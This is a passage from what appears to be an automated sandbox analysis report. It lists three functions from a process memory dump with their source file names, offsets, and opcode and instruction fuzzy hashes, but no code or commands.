                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 1b112731b4702f8cd4b1e21620168ffe84f9f70a6d60b01c520bbbb93ecc95fa
                                                                                                                                                                      • Instruction ID: e9a217cd67a0df04110a0b8685e6efac3ba506cf746f235f87bd49584da8096f
                                                                                                                                                                      • Opcode Fuzzy Hash: 1b112731b4702f8cd4b1e21620168ffe84f9f70a6d60b01c520bbbb93ecc95fa
                                                                                                                                                                      • Instruction Fuzzy Hash: DED0E838E50018CBCB20EFA8E4898ECBBB0EF88322F24506AE824A3250C63458918F11
                                                                                                                                                                      Function 27A89E3D Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 12a4110c584db5bca7f4389bae29bec0b75512d75b7ae32518df1ba0118a2270
                                                                                                                                                                      • Instruction ID: 124fe5811d951d64334dd81fa9df3010d37c4164b23a4a6595ea6985b5910a0c
                                                                                                                                                                      • Opcode Fuzzy Hash: 12a4110c584db5bca7f4389bae29bec0b75512d75b7ae32518df1ba0118a2270
                                                                                                                                                                      • Instruction Fuzzy Hash: F2D0673BB40018DFCB049F99E840CDDF7B6FB98221B148516E915E3661C6319961DB54
                                                                                                                                                                      Function 27A855C0 Relevance: .0, Instructions: 12COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 7fd55939e5c83b3939d556003c1054aae8eafc00cdd0d6f1f2bf97fe1637dfa2
                                                                                                                                                                      • Instruction ID: 72c7e9443a7763c7e7a305097498c5a7adcbb1699a51917e68b4325f2f84fd14
                                                                                                                                                                      • Opcode Fuzzy Hash: 7fd55939e5c83b3939d556003c1054aae8eafc00cdd0d6f1f2bf97fe1637dfa2
                                                                                                                                                                      • Instruction Fuzzy Hash: C8C0123515430D4EC605E775D945556772EFA81200B50C524A4094775BEF7C68894691